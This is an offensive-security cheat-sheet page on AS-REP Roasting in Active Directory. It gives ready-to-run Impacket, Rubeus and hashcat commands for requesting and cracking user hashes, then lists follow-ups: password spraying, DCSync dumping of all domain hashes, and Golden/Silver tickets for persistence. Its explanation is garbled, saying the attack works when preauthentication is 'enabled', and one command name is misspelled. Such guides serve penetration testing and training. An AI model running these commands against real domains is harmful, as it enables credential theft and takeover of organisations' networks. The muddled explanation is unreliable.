Skip to main content

AS-REP Roasting

About The Attack​

AS-REP contains session key and TGT which is in response to AS-REQ, if preauthentication is enabled, an attacker could send AS-REQ to the DC on behalf of any user and can get RS-REP from DC if preauth is disabled.

Performing Attack​

Gear Up (Prereqs)​

  • Domain Controllers IP
  • User:Pass for authentication

Using Impacket-GetNPUsers​

This command will be used when launching the attack from the kali linux machine

impacket-GetNPUsers -dc-ip <DC-IP> -request -outputfile hashes.asreproast domain.com/Users

Using Rubeus​

This command will be used when you have a windows machine in the domain

rubeus.exe asreprost /nowwrap

Crack the Collected Hash​

sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

We can also use custom rule or any other suitable wordlist.

Further Actions​

Below are some of the use cases after successful caracking of the hash

Credential Reuse​

  1. Password Spraying --> SMB/RDP/WinRM
  2. LDAP/Kerberos --> Enumerate Further
  3. VPN/Outlook web Access/ Citrix

Privilege Escalation​

If the account belongs to :

  1. Domain Admins / Server Operators / Account Operators → instant escalation.
  2. Service Accounts (common) → pivoting into Kerberoasting, Silver Tickets, or lateral movement.
  3. Users with local admin rights → move laterally via SMB/PSExec/WinRM.

Chaining with Other Attacks​

  1. From AS-REP → Kerberoasting.

If the account cracked has SPNs, request service tickets and roast them.

  1. From AS-REP → DCSync.

If the cracked account has replication privileges, dump all domain hashes.

  1. From AS-REP → Persistence.

If it’s a privileged service account, create Golden/Silver Tickets for long-term persistence.